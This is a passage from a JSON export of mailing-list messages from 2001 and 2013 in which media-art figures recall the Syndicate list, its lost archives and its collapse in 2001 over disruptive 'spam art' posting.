                        "id": 0,
                        "date": "Mon, 7 Oct 2013 07:48:30 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=70112",
                        "content-type": "text/plain",
                        "author_name": "Armin Medosch",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Andreas Broeckmann",
                        "content": "\ndear friends,\n\nthanks for bringing this up. i'm not sure whether i have anything new to \nsay about the syndicate that we have not already said in the 2001 \narticle which sally posted. - being so personally involved from the \npreparatory conversations in 1995 to the ugly collapse in 2001, i have \nalways found it difficult to gage the more general relevance of the \nsyndicate; but i believe that for many people in the emerging central \nand east european media and art communities of the 90s, it was an \nimportant source of information that provided multiple contact points to \neach other, and to a wider, international scene. remember also that at \nthe time, for the 50+ core group of the syndicate, the personal \nencounters during the Syndicate Meetings which took place once or twice \na year, possibly had a deeper impact on us that the mailing list could \nhave on its own.\n\nthere are some other materials on the v2 archive:\n\nhttp://v2.nl/archive/organizations/syndicate?searchterm=syndicate\n\nand there are reflexions on the role of the syndicate list in research \ntexts by Geert Lovink (was already mentioned here), Rasa Smite, and \nClemens Apprich (forthcoming).\n\nunfortunately, the archive of the syndicate list on the v2 servers has \nbeen lost and it would be great if we could find a place and help to put \nit back online. i assume that some people will have more or less \ncomplete archives on their back-up disks (zone and vuk were diligent \ncollectors of everything back then). if anybody could offer some \nconcrete, practical help on this, i'd be happy to hear from you.\n\nregards,\n-a\n\n\nAm 06.10.13 14:52, schrieb Sally-Jane Norman:\n> Agree with Armin. The \"human-technical assemblages\" Syndicate was made of were vital. I'm sure Andreas and Inke will be able and well placed to respond, but maybe the swansong mail they posted on nettime provides a useful overview in the mean time. It's a long story marked by a deep ethos and visionary generosity on the part of those who put the effort into launching and maintaining it, like any that engages deep inter-personal and collective communication. Hard to do justice with hindsight. Especially from the perspective of 2013 list-log-blog-surf culture.\n>\n> best\n> sj\n>\n>\n> <nettime> Rise and Decline of the Syndicate\n>\n>      To: nettime-l {AT} bbs.thing.net\n>      Subject: <nettime> Rise and Decline of the Syndicate\n>      From: Arns/Broeckmann <inke {AT} snafu.de>\n>      Date: Tue, 13 Nov 2001 15:52:49 +0100\n>      Reply-To: Arns/Broeckmann <inke {AT} snafu.de>",
                        "id": 0,
                        "date": "Mon, 7 Oct 2013 09:45:54 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=70918",
                        "content-type": "text/plain",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Sean Cubitt",
                        "content": "\nFascinating discussions (my first email list was rhizome, which Simon Biggs introduced me to around 1994 I think).\n\nTwo lists of great significance for the people using them:\nhttp://listcultures.org/pipermail/fibreculture_listcultures.org/\n- mainly Australian, the archive online only goes back to 2010 but the list was much older: perhaps others can add a note on whether the archives are stil available for the earlier period. Fibreculture went into autodestruct in the mid 2000s, mprphing into a community of blogs and a journal\n\nand of course Sarai.net (their server is chuntering this morning so I can't check if the archives are still there)\n\nAnnick gives us a reminder that even in those early days English was not the only language online\n\nsean\n\n\nOn 7 Oct 2013, at 08:45, Andreas Broeckmann wrote:\n\n> dear friends,\n> \n> thanks for bringing this up. i'm not sure whether i have anything new to say about the syndicate that we have not already said in the 2001 article which sally posted. - being so personally involved from the preparatory conversations in 1995 to the ugly collapse in 2001, i have always found it difficult to gage the more general relevance of the syndicate; but i believe that for many people in the emerging central and east european media and art communities of the 90s, it was an important source of information that provided multiple contact points to each other, and to a wider, international scene. remember also that at the time, for the 50+ core group of the syndicate, the personal encounters during the Syndicate Meetings which took place once or twice a year, possibly had a deeper impact on us that the mailing list could have on its own.\n> \n> there are some other materials on the v2 archive:\n> \n> http://v2.nl/archive/organizations/syndicate?searchterm=syndicate\n> \n> and there are reflexions on the role of the syndicate list in research texts by Geert Lovink (was already mentioned here), Rasa Smite, and Clemens Apprich (forthcoming).\n> \n> unfortunately, the archive of the syndicate list on the v2 servers has been lost and it would be great if we could find a place and help to put it back online. i assume that some people will have more or less complete archives on their back-up disks (zone and vuk were diligent collectors of everything back then). if anybody could offer some concrete, practical help on this, i'd be happy to hear from you.\n> \n> regards,\n> -a\n> \n> \n> Am 06.10.13 14:52, schrieb Sally-Jane Norman:\n>> Agree with Armin. The \"human-technical assemblages\" Syndicate was made of were vital. I'm sure Andreas and Inke will be able and well placed to respond, but maybe the swansong mail they posted on nettime provides a useful overview in the mean time. It's a long story marked by a deep ethos and visionary generosity on the part of those who put the effort into launching and maintaining it, like any that engages deep inter-personal and collective communication. Hard to do justice with hindsight. Especially from the perspective of 2013 list-log-blog-surf culture.\n>> \n>> best\n>> sj\n>> \n>> \n>> <nettime> Rise and Decline of the Syndicate\n>> \n>>     To: nettime-l {AT} bbs.thing.net\n>>     Subject: <nettime> Rise and Decline of the Syndicate\n>>     From: Arns/Broeckmann <inke {AT} snafu.de>\n>>     Date: Tue, 13 Nov 2001 15:52:49 +0100\n>>     Reply-To: Arns/Broeckmann <inke {AT} snafu.de>\n> ",
                        "id": 0,
                        "date": "Mon, 7 Oct 2013 09:11:22 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=72609",
                        "content-type": "text/plain",
                        "author_name": "Sean Cubitt",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Charlotte Frost",
                        "content": "\nSean, thanks so much for bringing up Sarai, I'm bcc-ing a few people in\nthe hopes they can direct this message to those who can tell us about the\nSarai list history and archives.\n\n\n\nOn 07/10/2013 17:11, \"Sean Cubitt\" <[log in to unmask]> wrote:\n\n>Fascinating discussions (my first email list was rhizome, which Simon\n>Biggs introduced me to around 1994 I think).\n>\n>Two lists of great significance for the people using them:\n>http://listcultures.org/pipermail/fibreculture_listcultures.org/\n>- mainly Australian, the archive online only goes back to 2010 but the\n>list was much older: perhaps others can add a note on whether the\n>archives are stil available for the earlier period. Fibreculture went\n>into autodestruct in the mid 2000s, mprphing into a community of blogs\n>and a journal\n>\n>and of course Sarai.net (their server is chuntering this morning so I\n>can't check if the archives are still there)\n>\n>Annick gives us a reminder that even in those early days English was not\n>the only language online\n>\n>sean\n>\n>\n>On 7 Oct 2013, at 08:45, Andreas Broeckmann wrote:\n>\n>> dear friends,\n>> \n>> thanks for bringing this up. i'm not sure whether i have anything new\n>>to say about the syndicate that we have not already said in the 2001\n>>article which sally posted. - being so personally involved from the\n>>preparatory conversations in 1995 to the ugly collapse in 2001, i have\n>>always found it difficult to gage the more general relevance of the\n>>syndicate; but i believe that for many people in the emerging central\n>>and east european media and art communities of the 90s, it was an\n>>important source of information that provided multiple contact points to\n>>each other, and to a wider, international scene. remember also that at\n>>the time, for the 50+ core group of the syndicate, the personal\n>>encounters during the Syndicate Meetings which took place once or twice\n>>a year, possibly had a deeper impact on us that the mailing list could\n>>have on its own.\n>> \n>> there are some other materials on the v2 archive:\n>> \n>> http://v2.nl/archive/organizations/syndicate?searchterm=syndicate\n>> \n>> and there are reflexions on the role of the syndicate list in research\n>>texts by Geert Lovink (was already mentioned here), Rasa Smite, and\n>>Clemens Apprich (forthcoming).\n>> \n>> unfortunately, the archive of the syndicate list on the v2 servers has\n>>been lost and it would be great if we could find a place and help to put\n>>it back online. i assume that some people will have more or less\n>>complete archives on their back-up disks (zone and vuk were diligent\n>>collectors of everything back then). if anybody could offer some\n>>concrete, practical help on this, i'd be happy to hear from you.\n>> \n>> regards,\n>> -a\n>> \n>> \n>> Am 06.10.13 14:52, schrieb Sally-Jane Norman:\n>>> Agree with Armin. The \"human-technical assemblages\" Syndicate was made\n>>>of were vital. I'm sure Andreas and Inke will be able and well placed\n>>>to respond, but maybe the swansong mail they posted on nettime provides\n>>>a useful overview in the mean time. It's a long story marked by a deep\n>>>ethos and visionary generosity on the part of those who put the effort\n>>>into launching and maintaining it, like any that engages deep\n>>>inter-personal and collective communication. Hard to do justice with\n>>>hindsight. Especially from the perspective of 2013 list-log-blog-surf\n>>>culture.\n>>> \n>>> best\n>>> sj\n>>> \n>>> \n>>> <nettime> Rise and Decline of the Syndicate\n>>> \n>>>     To: nettime-l {AT} bbs.thing.net\n>>>     Subject: <nettime> Rise and Decline of the Syndicate\n>>>     From: Arns/Broeckmann <inke {AT} snafu.de>\n>>>     Date: Tue, 13 Nov 2001 15:52:49 +0100\n>>>     Reply-To: Arns/Broeckmann <inke {AT} snafu.de>\n>> ",
                        "id": 0,
                        "date": "Tue, 8 Oct 2013 12:40:34 +0800",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=89337",
                        "content-type": "text/plain",
                        "author_name": "Charlotte Frost",
                        "subject": "Re: The Syndicate - building a history of lists"
                    }
                ],
                "date": "Sun, 6 Oct 2013 12:43:12 +0100",
                "list": "crumb",
                "author_name": "bronac ferran",
                "subject": "The Syndicate - building a history"
            },
            {
                "content-type": "text/plai",
                "from": "Claudia Westermann <media@ezaic.de>",
                "id": "00499",
                "content": "bonjour,\n\njust resending something.\n\nIt is about human being's incababilty to deal with a subject of community,\nwhich most of the time leads to authoritarian actions. I sent this already \non September 9th....\na kind of abstract reply to what happened on Syndicate.\n\nMight be also interesting in regard to responsibility of the the events of \nSeptember 11th.\n\n( not that I am thinking, that nn's actions can be compared to this. It's \nridiculous. NN provides a mirror and looking at it and the reflections of \nthe world I can see in it, I just think that there is a long way to go. )\n\nWhen do people start to think ?\n\nRegarding the movement excitement of Syndicate mailing list.... well a look \ninto the archives will show, that\nBroeckmann / Arns refused any public discussion on the list, once they \ndecided to give it up. I guess many of us have these mailings in their \nmailbox. Not really necessary to resend them. Or is it ?\n\n..... and hm..... Syndicate is by the way the most loveliest list, I \nthink... I like it now, very lively.\n\nClaudia\n\n_________________________________________________________\n\nI really think, that the text is fragmentary ( and also would need some \nediting of my English ), but ...\nwell anyway, impossible to put some ten years of urban / architectural \nstudies into such a text ...\nit's more about giving an idea\n\na web version is here:\nhttp://anart.no/~syndicate/2001-09-09_18-23_+02.html\n\n\nFrom: Claudia Westermann  [media@ezaic.de]\n\nDate: Sun, 09 Sep 2001 18:23:50 +0200\n\nSubject: [Syndicate] learning processes / no border concept\n\nA fragmentary introduction to social issues on a level of 'city'\n\n( I took the following text from this site\nwww.criminology.fsu.edu/crimtheory/zimbardo.htm anyone better informed with \nthe issues of psychology than me may add or correct. The experiment \ndescribed was done by Philip G. Zimbardo, Professor of Psychology at \nStanford University. He has an own website at www.zimbardo.com )\n\n__________________________________\n\nBroken Windows\n\nIn 1969, Zimbardo placed one 1959 Oldsmobile auto on a street across from \nthe Bronx campus of New York University (a ghetto area), and one on a \nstreet in Palo Alto, California near the Stanford University campus (a \nrather affluent area). \"The license plates of both cars were removed and \nthe hoods opened to provide the necessary releaser signals (Zimbardo, \n1969).\" Within three days, the car in the Bronx was completely stripped, \nthe result of 23 separate incidents of vandalism. The car in Palo Alto sat \nunmolested for over a week. Zimbardo and two of his graduate students \ndecided to provide an example by using a sledgehammer to bash the car. They \nfound that after they had taken the first blow, it was extremely difficult \nto stop. Observers, who were shouting encouragement, finally joined in the \nvandalism until the car was completely wrecked.\n\nThis experiment is the basis of James Q. Wilson's Broken Windows Theory. \n\"The thesis states that human behavior is strongly influenced by symbols of \norder and disorder. [In a neighborhood] one unrepaired broken window can \nsignal that no one cares, [so that] citizens give in and give up (Wilson, \nP. L., 1997).\" Therefore, the objective for preventing street crimes is to \nprevent the first window from getting broken, or prevent the first graffiti \nmarks, or prevent the first drunkard from a public display. This has led to \nNeighborhood Watch programs and increased police foot patrols.\n\nThese measures have not had a significant impact on crime, but they have \nsucceeded in making neighborhood residents feel safer.\n\n__________________________________\n\nthe most famous example of the conclusion they made is the City of New York.\nyou can find the following text on the official website.\n\n__________________________________\n\nIn 1989, Giuliani entered the race for mayor of New York City as a \ncandidate of the Republican and Liberal parties, losing by the closest \nmargin in City history. However in 1993, his campaign focusing on quality \nof life, crime, business and education made him the 107th Mayor of the City \nof New York. In 1997 he was re-elected by a wide margin, carrying four out \nof New York City's five boroughs.\nAs Mayor, Rudy Giuliani has returned accountability to City government and \nimproved the quality of life for all New Yorkers. Under his leadership, \noverall crime is down 57%, murder has been reduced 65%, and New York City - \nonce infamous around the world for its dangerous streets - has been \nrecognized by the F.B.I. as the safest large city in America for the past \nfive years.\n\n__________________________________\n\na few things they do not mention on their web site is:\n\n- the ridiculous high costs (which maybe could be excused)\n\n- if you look at the things on a larger scale, you will notice a movement \nof crime but not a lowering\n( I have no statistics available here for the US, but I know, that these \nkind of things were tried in German cities also, and it always led only to \na collapse in other parts)\n\n- if you want that it stays 'safe' you have to augment the protection \nmethods permanently\n\nAlso known of the US is: completely secluded quarters surveilled and \nprotected, excluding everyone else than the people living there and their \nguests (this is one step further).\nSo, what do they do actually ?\nAs in the above mentioned experiment described, a loss of identity leads to \naggressive actions even by people, who you would call 'good' maybe. And in \nthe beginning what was there ? An old car with a broken window apparently \nnot fitting into the system. It is one of the most hardest to bare \nexperiences, when you think of yourself as 'good' and you suddenly realize, \nthat it is very much possible to be 'evil' in a way.\nThe conclusion made, protects the 'good' from the problem of realizing, \nthat they could act in an aggressive way also, what no-one ever had thought \ncould be possible. And to secure in this way the feeling of identity.\nThis is the most common way to solve these things. Does it have to be this \nway ?\nThere are different concepts also. It is called 'urban project' and \ncontrasts the term of 'urbanistik' (sorry can not find a translation - \nmaybe it's 'urban planning' , not really actually). It means \ndecentralization and participation of the people living there on every \npossible level. It is based on the same idea of assuring identification, \njust that the means are different (they have tested these things in smaller \nGerman cities, I just speak for the examples I know). As to say for now it \ncan be observed, that the system works on a level of self protection with a \nsimultanous lowering of authoritarian actions. Surprising ?\n\n'urban project'\n|\nparticipation\n|\nidentification\n|\nself protection\n\nthe self moderation concept discussed on this list would go in the \ndirection of an 'urban project' (actually it's even better, there are more \npossibilities on a level of virtuality ).\n\nthis is very shortly... by the way it is not said, that idealistic projects \nreally work out.....\n\nerrare humanum est\n\nClaudia - human\n\n\n\nAt 16:00 13.11.01 +0100, Broeckmann / Arns wrote:\n\n>Rise and Decline of the Syndicate: the End of an Imagined Community\n>\n>Inke Arns & Andreas Broeckmann, Berlin, November 2001\n>\n>\n>The Syndicate mailing list imploded and went down in August 2001,\n>destroying the life-line of the Syndicate network. The network had been in\n>a shaky situation for a while, due - we believe - to the destabilisation of\n>the problematic balance between personal contacts of list members, lurking\n>and filtering-and-not-reading-let-alone-posting subscribers, and a growing\n>number of self-promoters who used the list as a personal performance space\n>and disregarded the social rules of the online community.\n>\n>Some people insisted on continuing the list on a new server, taking over\n>the subscriber list, while we decided to form a new list, SPECTRE, which\n>has been running on the previous Syndicate list-serve in Berlin since 28\n>Aug 2001. The list currently has 250 new subscribers (Nov 01) and continues\n>the tradition of the Syndicate list as a low-noise, open platform for\n>exchange and cooperation in media culture in Europe.\n>\n>After six years of successful work with and for the Syndicate community,\n>the demise of the Syndicate list in August 2001 was a rather shocking\n>experience for many of us, imposing on us the realisation how feeble such a\n>community channel can be, and how easily destroyed. It proved that\n>responsibility and care are essential elements in a viable social online\n>environment, and we had to learn the hard way that there is no consensus\n>about the rules that should guide behaviour and interaction. The following\n>text gives a brief summary from our personal perspective of the Syndicate\n>initiative as it developed since its inception in 1996, and attempts an\n>evaluation of its end.\n>\n>\n>Andreas started administering the Syndicate mailing list after its\n>installation on the server of the Ars Electronica Center in Linz (aec.at)\n>in January 1996, helping people to subscribe, unsubscribe and post to the\n>majordomo list. As the subscriber base grew from the original 30\n>subscribers to about 300 in 1998, Inke joined in administering the list and\n>- together with Arthur Bueno of the V2_Organisation in Rotterdam, who also\n>maintained the Syndicate website and archive on www.v2.nl/syndicate from\n>1998-2000 - mostly managed the list administration through these years. We\n>taught ourselves the basic majordomo commands, had our private mail\n>accounts jammed with bounced messages, and therefore installed an admin\n>account. Each time we would look into this account there would be hundreds\n>of mails sitting there and voraciously waiting for us ... but somehow it\n>worked. Problems started appearing on an entirely different field.\n>\n>With its completely open structure (technically and socially speaking) the\n>Syndicate mailing list soon proved to be vulnerable. In the beginning of\n>November 1998 the list was first targeted: all the subscribers were\n>unsubscribed. Luckily we had been extracting the \"who\"-file on an almost\n>daily basis and thus were able to reconstruct the list quickly. In\n>September 2000 the list software on the server faced a serious crash which\n>the sysops in Linz could not take care of because of the festival they were\n>in at the time. So we decided to relocate the list onto a server to which\n>we would have easier access for administration and configuration. Since\n>then, the Syndicate list was hosted by an ISP in Berlin (openoffice.de)\n>which also soon gave us the opportunity to switch from Majordomo to the\n>more easily administratable Mailman software.\n>\n>But the Syndicate was much more than a piece of software: it was a network\n>of people. The Syndicate was founded in January 1996 on the last day of the\n>Next 5 Minutes 2 Festival in Rotterdam. It was a network which devoted\n>itself to fostering contacts and co-operation, improvements in\n>communication and an exchange between institutions and individuals in\n>Eastern and Western Europe active in the media and media culture. By\n>allowing regular e-mail communication between participants regarding\n>forthcoming events and collaborative projects the Syndicate mailing list\n>developed into an important channel and information resource for announcing\n>and reporting new projects, events and developments in media culture. The\n>complete mail archive is kept at http://www.v2.nl/mail/v2east/\n>\n>Since the first meeting in Rotterdam in 1996, which was attended by 30\n>media artists and activists, journalists and curators from 12 Eastern and\n>Western European countries, the Syndicate network grew steadily. In August\n>2001, it linked over 500 members from more than 30 European and a number of\n>non-European countries. The original idea was to establish an East-West\n>network as well as an East-East network. In the meantime, however, the\n>Syndicate had increasingly developed into an all-European forum for media\n>culture and art. Over the last few years the division between East and West\n>had been growing less important as people cooperated in ever-changing\n>constellations, in ad-hoc as well as long-lasting partnerships.\n>\n>Syndicate meetings and workshops have been held regularly, in most cases as\n>part of festivals and conferences. The main meetings have taken place at\n>half-yearly intervals in Rotterdam (Sept. 96), Liverpool (April 97), Kassel\n>(July 97), Dessau (Nov. 97), Tirana (May 98), Skopje (Oct. 98), Budapest\n>(April 99), and Helsinki (Oct. 99), with many smaller meetings and joint\n>projects, presentations and workshops happening in between. Readers edited\n>by Inke and published on the occasion of some of the meetings (Rotterdam\n>1996, Ostranenie Dessau 1997, Junction Skopje 1998) have collected the most\n>important texts from the mailing list in printed form.\n>\n>It was worth condensing Syndicate stuff in this way because most of the\n>time the mail traffic was dominated by announcements. Attempts to turn the\n>Syndicate list into a discussion list and encouragements for people to send\n>their personal reports, views, perceptions of what was happening, were met\n>by only limited response. In the beginning, when many people on the list\n>still knew each other personally, this strategy was more successful, later,\n>with the exploding rate of lurkers, less.\n>\n>While in the first three years of its existence, the Syndicate held its\n>meetings quite regularly (almost every six months!), and organised panels\n>and workshops with its members, since 1999 the Syndicate list came to be\n>more like a sleeping beauty which in times of crisis would awake and show\n>its full potential. Suddenly, when necessary, everybody was back on,\n>communicating almost breathlessly with each other (\"Have you heard about\n>X?\" - \"The cultural center Y was closed!\" - \"Z received his mobilisation\n>call.\") The list was last activated in order to support Edi Muka,\n>Tirana-based long term Syndicalist, who had been sacked from his post at\n>the cultural center Pyramid by some politically malevolent officials.\n>\n>The meetings and personal contacts off-list were an essential part of the\n>Syndicate network: they grounded the Syndicate in a network of friendly and\n>working relationships, with strong ties and allegiances that spanned across\n>Europe and made many cooperations between artists, initiatives and\n>institutions possible. The Syndicate thus opened multiple channels between\n>artists and cultural producers in Europe and beyond, which is probably its\n>greatest achievement. It connected people and made them aware of each\n>other's practice, creating multiple options for international cooperation\n>projects.\n>\n>A structure like that can work so long as it is supported and protected by\n>a sufficient number of participants. It needs an ethical consensus about\n>what is and what isn't possible on the list, which kinds of actions support\n>and which may tilt the social equilibrium. The case of Andrej Tisma, a\n>Yugoslav artist from multi-cultural Novi Sad and a defender of the\n>Milosevic regime throughout the late 90s, is a case in point: many\n>perceived his tirades against the West and against NATO as pure Serbian\n>propaganda which became unbearable at some point. Later, Tisma came back to\n>the list and continued his criticisms by posting links to anti-NATO web\n>pages he had created. For us, he was always an interesting sign post of\n>Serb nationalist ideology which it was good to be aware of. And it was good\n>that he showed that people can be artists 'like you and me', and be Serb\n>nationalists at the same time. The Syndicate could handle his presence\n>after he agreed to tune down his rants.\n>\n>However, this consensus was further eroded through the last two years. The\n>nn episode on Syndicate in August 2001, then, was a symptom, but not the\n>reason for the death of Syndicate. This started way before August 2001. Not\n>only that there were no more meetings after 1999, one could also notice\n>that since mid 1999 people felt less and less responsible for the list.\n>Many Syndicalists of the first hour grew more silent (this was partly\n>incited by the hefty discussions during the NATO bombings in Yugoslavia),\n>perhaps more weary, perhaps less naive, many also changed their personal\n>circumstances and got involved in other things (new jobs, new families, new\n>countries ...). At the same time, the number of subscribers kept growing:\n>more and more newbies kept flowing onto the Syndicate list.\n>\n>The major change that occurred on the Syndicate around that time (1999) was\n>the transition from a network of people and of trust to a more and more\n>anonymous mailing list, a list for announcements like so many others. A\n>growing majority of Syndicate subscribers now tended to see the mailing\n>list merely as a quick and handy tool for spreading self promotion. The\n>mailing list was to serve them for promotional goals, rather than as a tool\n>of communication. When calls went out for support in the adminstration of\n>the list, far too few people responded at all. Many people still do not\n>understand the voluntary nature of the Syndicate initiative, and that the\n>whole project depended on the sharing of work and responsibility. Too many\n>people took the efforts of too few people for granted. Investing time and\n>energy in the administration of such a list became more and more\n>frustrating. When some fellow Syndicalists joined the admin team early\n>2001, we could have realised that the project had peaked and should have\n>been transformed into something different altogether.\n>\n>The net entity nn (Netochka Nezvanova, integer, antiorp, etc.), a pseudonym\n>used by an international group of artists and programmers in their\n>extensive and aggressive mailing list-based online-performances and for\n>other art projects, had been subscribed to the Syndicate list in 1997. It\n>was, as the first of less than a handful of people ever, unsubscribed\n>against its will because it was spamming the list so heavily that all\n>meaningful communication was blocked. In January 2001, nn sent an e-mail\n>asking to again be subscribed to the Syndicate mailing list. (What nn never\n>bothered to realise was that subscription to the list had always been open\n>so that, at any point, it could have subscribed itself - we have always\n>wondered why Majordomo is such a blind spot in this technophile entity's\n>arsenal.) After getting assurances from nn that she was not out to misuse\n>the list, we subscribed it to the Syndicate list.\n>\n>Naively, as we had to realise. nn went from one or two messages every day\n>in February to an average of three to five message in April and up to eight\n>and ten messages per day in May and June - and that on a list which had a\n>regular daily traffic of three to five messages a day. The distributed\n>nature of the nn collective makes it possible for them to keep posting 24\n>hours a day - great for promoting your online presence, irritating for\n>people who have a less frantic life rhythm. nn's messages are always\n>cryptic, sometimes amusing, often tediously repetitive in their quirky\n>rhetorics and style, and generally irritating for the majority of people.\n>Its activity on the Syndicate - like on many other lists it has used and\n>terrorised - soon came to look like a hijack. But the sheer mass of traffic\n>nn was generating, the sheer amount of nn's presence, was overwhelming.\n>Perhaps this phenomenon could be compared to SMEGL, short for super mental\n>grid lock, a term that was developed to describe traffic jam situations in\n>NYC back in the eighties (or was this term coined in Berlin-Kreuzberg's\n>famous Fischbuero? Who knows, the boundaries get blurred...).\n>\n>In the spring of 2001, nn's and other people's activities who use open,\n>unmoderated mailing lists for promulgating their self-promotional e-mails,\n>triggered discussions about 'spam art', on Syndicate as well as on other\n>lists. Actually, given the extreme openness and vulnerability of a\n>structure like the Syndicate it remains quite astonishing that this\n>structure survived for such a long time. What happened in the course of\n>2000/2001 (not only to Syndicate, but also to several other mailing lists)\n>was that the openness of these lists, i.e. the fact that they were\n>unmoderated, was massively abused, and, finally, destroyed, by relentless\n>'creative' spamming. One of the basic principles of the Internet - its\n>openness - suddenly seemed to become a mere tool for attacking this very\n>principle. 'Netiquette' did not seem to be of much value anymore and was\n>sacrificed for the egotistical self-expression of (distributed) artist\n>egos. The irony of this process is that, like any good parasite, this\n>artistic practice depends on the existence of lively online communities: it\n>not only bites, but kills the hand that feeds it. - These parasite nomads\n>will find new hosts, no doubt, but they have over the past year helped to\n>erode the social fabric of the wider net cultural population so much that\n>communities have to protect themselves from attacks and hijacks more\n>aggressively than before. Their adolescent carelessness is partly\n>responsible for the withering of the romantic utopia of a completely open,\n>sociable online environment. However educational that may be, we despise\n>the deliberation with which these people act.\n>\n>nn got unsubscribed from the Syndicate without warning on a day when there\n>had been nothing but ten messages from her. After some days of silence and\n>sighs of relief, angry protests by nn came through. On the list,\n>accusations of censorship and/or dictatorship were made. A small but noisy\n>faction denounced unsubscribing nn as an act against the freedom of speech.\n>They called the administrators fascists, murderers, and 'threatened' to\n>report the case to 'Index on Censorship'. While some other list members\n>welcomed the departure of nn on and off the list and the admin team again\n>and again explained their move, the ludicrous allegations and vociferous\n>insults continued.\n>\n>The real shock for us was that the majority of list subscribers did not\n>participate in the discussion and thus silently seemed to accept what was\n>going on. It was personally hurtful not to receive more support against the\n>insults raised against us, but more frustrating was the indifference that\n>made the whole process possible. Within few days, the alienation from the\n>atmosphere on the list was so great that we admitted defeat, re-subscribed\n>nn and began to withdraw from the Syndicate. The list was moved to a\n>different server and is now administered by other people at\n>anart.no/~syndicate. We wanted to avoid further verbiage and conflict and\n>therefore gave up the name, but we insist that from our perspective the\n>Syndicate project that was founded in 1996 ended in August 2001. What\n>remains under its name is a zombie kept alive by misconceptions about what\n>the Syndicate really was. Maybe we should have stopped the project\n>altogether in the summer?\n>\n>Filtering has, in a way, done us in. Before there were effective e-mail\n>clients that could filter out lists and other mail communication, everybody\n>on the list got everything more or less instantly, which also meant a\n>higher level of social awareness and social control of what goes on on the\n>list. Today, many people filter the lists they subscribe to and only look\n>at the postings at irregular intervals - some mailboxes don't get opened\n>for months. Like this, people consume the list passively and do not even\n>notice a fiasco like the one that we experienced on the Syndicate list in\n>the summer. I guess that some people who remain subscribed to the Syndicate\n>list still have not noticed that anything has changed. For a social\n>community, that kind of behaviour - automated deferance - can be fatal.\n>\n>\n>\"There's a spectre haunting Europe ...\"\n>\n>In August 2001, after unsubscribing from the Syndicate, we initiated a new\n>mailing list under the name SPECTRE. It is an open, unmoderated list for\n>media art and culture in Deep Europe. SPECTRE offers a channel for\n>practical information exchange concerning events, projects and initiatives\n>organized within the field of media culture, and hosts discussions and\n>critical commentary about the development of art, culture and politics in\n>and beyond Europe. Deep Europe is not a particular territory, but is based\n>on an attitude and experience of layered identities and histories -\n>ubiquitous in Europe, yet in no way restricted by its topographical\n>borders. (The term Deep Europe was coined by Anna Balint in 1996. It was\n>passed on by Geert Lovink. It was used by Andreas Broeckmann and Inke Arns.\n>It was interpreted by Luchezar Boyadjiev. It was used more by Sally Jane\n>Norman, Iliyana Nedkova, Nina Czegledy, Edi Muka, and many others.)\n>\n>SPECTRE is a channel for people involved in old and new media in art and\n>culture. Importantly, many people on this list know each other personally.\n>SPECTRE aims to facilitate real-life meetings and favours real face-to-face\n>(screen-to-screen) cooperation, test-bed experiences and environments to\n>provoke querying of issues of cultural identity/identification and\n>difference (translatable as well as untranslatable or irreducible). The new\n>list was immediately welcomed by many frustrated Syndicalists who quickly\n>made the move.\n>\n>SPECTRE is an unmoderated, but by not means open mailing list. With the\n>Syndicate experience in mind we felt the need to explicitely formulate some\n>basic, apparently no longer self-evident netiquette rules, like \"meaningful\n>discussions require mutual respect,\" and \"self-advertise with care!\" The\n>list is initially hosted by the two of us who also have to approve requests\n>for subscription. The blurb explicitely reads: \"Subscriptions may be\n>terminated or suspended in the case of persistent violation of netiquette.\"\n>We regret that we have to introduce such a system of control but see no\n>other effective way of protecting something that is dear to us. A lack of\n>sensible protection brought down the Syndicate. Information about SPECTRE:\n>http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>\n>We try to continue the good Syndicate tradition of amiable exchange and are\n>more hesitant about the illusion of being an 'online community'. We\n>maintain our romantic belief in lasting friendships and insist on the need\n>to infuse networks with a strong sense of conviviality. We believe in\n>people and their needs more than we believe in art.\n>\n>Inke Arns, Andreas Broeckmann\n>\n>Berlin, November 2001\n>\n>\n>\n>-----Syndicate mailinglist-----------------------\n>Syndicate network for media culture and media art\n>information and archive: http://anart.no/~syndicate\n>to post to the Syndicate list: <syndicate@anart.no>\n>no commercial use of the texts without permission\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Tue, 13 Nov 2001 17:27:33 +0100",
                "to": "syndicate <syndicate@anart.no>, list@rhizome.org,nettime-bold@nettime.org",
                "message-id": "5.0.2.1.0.20011113165628.02bf3210@post.strato.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0111/msg00499.html",
                "list": "nettime_bold",
                "author_name": "Claudia Westermann",
                "subject": "[Nettime-bold] Re: [syndicate] Rise and Decline of the Syndica"
            },
            {
                "content-type": "text/plain",
                "from": "Josephine Bosma",
                "content": "\nhello all,\n\n\nIf we were to create something like an online archive of art lists and other discussion/community forum communications, how would we include blogs like nastynets? They move way beyond the text format. Any ideas?\n\nI also have an addition to Mez' list of lists, the spam art list run by Mindaugas Gapsevicius aka Mi_Ga. I love how he made the contents of the archive visible as a sort of slide show. \n\nhttp://www.o-o.lt/asco-o/\n\nSee also my interview with him. He did not realize what it meant to be interviewed at the time, and was a bit sorry he had given such bold answers. I think it is quite funny though:\n\nhttp://www.nettime.org/Lists-Archives/nettime-l-0009/msg00058.html\n\nSimon Bigss wrote:\n\"I have Rhizome posts going back to April 6, 1996 \"\n\nAh, 1996! Of course. Mark Tribe gave me a flyer of the Rhizome list at DEAF '95. :-) \n\nThanks!\n\n\n\n\nJ\n*",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=21108",
                "date": "Fri, 4 Oct 2013 14:11:37 +0200",
                "list": "crumb",
                "author_name": "Josephine Bosma",
                "subject": "spam art and blogs"
            },
            {
                "id": "00041",
